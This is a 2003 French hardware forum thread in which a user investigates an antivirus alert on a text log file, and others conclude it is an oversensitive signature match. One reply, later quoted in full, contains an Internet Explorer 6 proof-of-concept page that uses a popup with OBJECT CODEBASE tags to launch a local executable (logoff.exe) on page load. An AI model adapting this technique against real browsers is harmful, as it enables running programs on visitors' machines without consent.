Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1046 connectés 

  FORUM HardWare.fr
  Windows & Software
  Sécurité

  alerte virus zombie.17654.a.zcme

 
 


 Mot :   Pseudo :  
 
Bas de page
Auteur Sujet :

alerte virus zombie.17654.a.zcme

n°1136899
JEFLEFOU
Posté le 23-04-2003 à 23:51:33  profilanswer
 

Bonsoir,
 
J'ai une alerte de mon antivirus me disant q'un fichier txt est infecté par "zombie.17654.a.zcme"
 
Je ne pensais pas qu'un fichier txt pouvait contenir un virus.
Est-ce vrai ou une fausse alerte?


Message édité par JEFLEFOU le 24-04-2003 à 00:11:26
mood
Publicité
Posté le 23-04-2003 à 23:51:33  profilanswer
 

n°1136943
from hell
Ca sent le roussi par ici...
Posté le 24-04-2003 à 00:33:19  profilanswer
 

si ton antivirus le dit, c'est surement un vrai...
ou alors c'est le poisson d'avril commun et en retard des éditeurs d'antivirus...

n°1136964
JEFLEFOU
Posté le 24-04-2003 à 00:43:28  profilanswer
 

le pb c'est que je viens de passer 3 antivirus en ligne et aucun ne le détecte.
 
Je suis en train de mettre à jour mon antivirus et je vais lancer un nouveau scan.


Message édité par JEFLEFOU le 24-04-2003 à 00:45:21
n°1136967
from hell
Ca sent le roussi par ici...
Posté le 24-04-2003 à 00:44:26  profilanswer
 

c'est quoi ton antivirus ?
T'as regardé sur le net ce qui st dit sur ce virus ?

n°1136968
from hell
Ca sent le roussi par ici...
Posté le 24-04-2003 à 00:45:05  profilanswer
 

Tu sais ,les antivirus en ligne c'est pas très fiable

n°1136972
weebbeep
grammaire de tourneur fraiseur
Posté le 24-04-2003 à 00:45:53  profilanswer
 

/me smell a fake :D

n°1136975
JEFLEFOU
Posté le 24-04-2003 à 00:47:16  profilanswer
 

Antivirus kit pro version 11.
 
J'ai rien trouvé de particulier sur ce virus qui me soit compréhensible. Il est répertorié comme un virus "dos".

n°1136978
JEFLEFOU
Posté le 24-04-2003 à 00:48:11  profilanswer
 

weebbeep a écrit :

/me smell a fake :D


 
Tu crois que j'ai que ça à faire à cette heure-ci que de balancer un fake.

n°1136980
JEFLEFOU
Posté le 24-04-2003 à 00:49:49  profilanswer
 

From Hell a écrit :

Tu sais ,les antivirus en ligne c'est pas très fiable


Je veux bien mais j'en ai quand même essayé trois différents.
 
J'attends le résultat du scan en cours.

n°1136982
from hell
Ca sent le roussi par ici...
Posté le 24-04-2003 à 00:50:33  profilanswer
 

Tu effaces le fichier en question et pis voila, fin de l'alerte !

mood
Publicité
Posté le 24-04-2003 à 00:50:33  profilanswer
 

n°1136984
JEFLEFOU
Posté le 24-04-2003 à 00:52:40  profilanswer
 

From Hell a écrit :

Tu effaces le fichier en question et pis voila, fin de l'alerte !


C'est bien ce que j'aurais fait mais je n'ai pas de copie de ce fichier et j'en ai besoin.

n°1136988
from hell
Ca sent le roussi par ici...
Posté le 24-04-2003 à 00:54:01  profilanswer
 

Et ba ouvre le tu verras ce qui vas t'arriver...
Si on te voit plus poster dans 2 minutes c'est que le virus t'auras pété au visage.... :D

n°1137002
JEFLEFOU
Posté le 24-04-2003 à 01:06:30  profilanswer
 

Résultat du nouveau scan, il n'a rien détecté  cette fois. :??:  
 
Pourtant dans le rapport d'alerte, il m'a mis :
 
"While Fermer of the file "C:\docs\log.txt" the virus "Zombie.17654.A:ZCME" has been detected by engine "RAV-Engine". File disinfected: Non. File deleted: Non. Quarantine: Non."


Message édité par JEFLEFOU le 24-04-2003 à 01:11:03
n°1137007
weebbeep
grammaire de tourneur fraiseur
Posté le 24-04-2003 à 01:16:42  profilanswer
 

fait gaffe il se serre peut etre d'une faille de sécurité de notepad :D

n°1137010
JEFLEFOU
Posté le 24-04-2003 à 01:23:46  profilanswer
 

weebbeep a écrit :

fait gaffe il se serre peut etre d'une faille de sécurité de notepad :D


Arrête de faire le malin. C'est la deuxième fois qu'il me fait une alerte sur le même fichier en 2 jours. La première fois s'était par un troyen.
 
J'ai téléchargé plusieurs antitroyen par sécurité qui n'ont rien détecté.
 
Vu que ce sont des logs, je me demande s'il ne crée pas une fausse alerte chaque fois que le soft met à jour le fichier.

n°1137493
blackgodde​ss
vive le troll !
Posté le 24-04-2003 à 14:23:44  profilanswer
 

surement que ton antivirus a scanné tous les types de fichiers, et a reconnu la signature d'un virus dans le fichier .txt, alors que les autres antivirus n'ont pas scanné les fichiers .txt (inoffensifs tant que leur extension n'est pas changée) ou ne sont pas basés sur la même signature pour ce virus.

n°1137666
JEFLEFOU
Posté le 24-04-2003 à 16:35:45  profilanswer
 

BlackGoddess a écrit :

surement que ton antivirus a scanné tous les types de fichiers, et a reconnu la signature d'un virus dans le fichier .txt, alors que les autres antivirus n'ont pas scanné les fichiers .txt (inoffensifs tant que leur extension n'est pas changée) ou ne sont pas basés sur la même signature pour ce virus.


 
Je ne comprends pas pourquoi il ne le redétecte pas lors du second scan après la mise à jour.
 
"While Fermer of the file "C:\docs\log.txt" the virus "Zombie.17654.A:ZCME" has been detected by engine "RAV-Engine". File disinfected: Non. File deleted: Non. Quarantine: Non."
 
A priori il n'a pas touché au fichier donc il devrait le retrouver.

n°1137836
JEFLEFOU
Posté le 24-04-2003 à 18:24:53  profilanswer
 

Je ne comprends plus rien, il vient de me le redétecter.
 
 :cry:

n°1137880
clweb
je ne suis pas un numéro
Posté le 24-04-2003 à 19:24:24  profilanswer
 

C'est le log de quoi ton fichier ?
Il est possible qu'il s'y trouve une chaine de caractères correspondant à un virus.
J'avais le même problème en évaluant ton antivirus.
J'ai ouvert le fichier avec notepad et il y avait une page HTML que j'avais du sauvegarder un jour.
La voilà:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>
 
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT language=JScript>
 
var programName=new Array(
        'c:/windows/system32/logoff.exe',
        'c:/winxp/system32/logoff.exe',
        'c:/winnt/system32/logoff.exe'
);
 
function Init(){
        var oPopup=window.createPopup();
        var oPopBody=oPopup.document.body;
        var n,html='';
        for(n=0;n<programName.length;n++)
                html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
        oPopBody.innerHTML=html;
        oPopup.show(290, 390, 200, 200, document.body);
}
 
</SCRIPT>
</head>
<BODY onload="Init()">
------
Tu peux faire un copier/coller dans un fichiet toto.txt et le scanner pour voir.
Cet AV est un peu trop parano à mon goût  :D  
 
 [:clweb]  
 


---------------
@+ , Claude
n°1137900
JEFLEFOU
Posté le 24-04-2003 à 19:46:30  profilanswer
 

clweb a écrit :

C'est le log de quoi ton fichier ?
Il est possible qu'il s'y trouve une chaine de caractères correspondant à un virus.
J'avais le même problème en évaluant ton antivirus.
J'ai ouvert le fichier avec notepad et il y avait une page HTML que j'avais du sauvegarder un jour.
La voilà:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>
 
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT language=JScript>
 
var programName=new Array(
        'c:/windows/system32/logoff.exe',
        'c:/winxp/system32/logoff.exe',
        'c:/winnt/system32/logoff.exe'
);
 
function Init(){
        var oPopup=window.createPopup();
        var oPopBody=oPopup.document.body;
        var n,html='';
        for(n=0;n<programName.length;n++)
                html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
        oPopBody.innerHTML=html;
        oPopup.show(290, 390, 200, 200, document.body);
}
 
</SCRIPT>
</head>
<BODY onload="Init()">
------
Tu peux faire un copier/coller dans un fichiet toto.txt et le scanner pour voir.
Cet AV est un peu trop parano à mon goût  :D  
 
 [:clweb]  
 
 


Je viens d'essayer avec ton .txt.
 
J'ai un message indiquant virus probable.
Ca confirme ce que je pensais, il est trop sensible.
Je préfère encore  ça que l'inverse.
 
Merci


Message édité par JEFLEFOU le 24-04-2003 à 19:47:32

Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Windows & Software
  Sécurité

  alerte virus zombie.17654.a.zcme

 

Sujets relatifs
Virus JOKE_SLIPPERY.A : non détecté par Norton Antivirus 2003Virus? Help!!
XP virus persistantGator , spy ou Virus ?
caracteres qui delirent dans word?? VIRUS ??Problème software, virus qui redémarre le PC ou problème matériel ?
system32.exe? (win2ksp3)------> fichier systeme ou virus?????mail wanadoo, virus souvent detecté
Icones bleutés ?? virus ??aidez moi il me semble que ce sont les sympthomes d'1 virus ! resolu !
Plus de sujets relatifs à : alerte virus zombie.17654.a.zcme

Forum MesDiscussions.Net, Version 2010.2
(c) 2000-2011 Doctissimo
Page générée en 0.037 secondes

Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR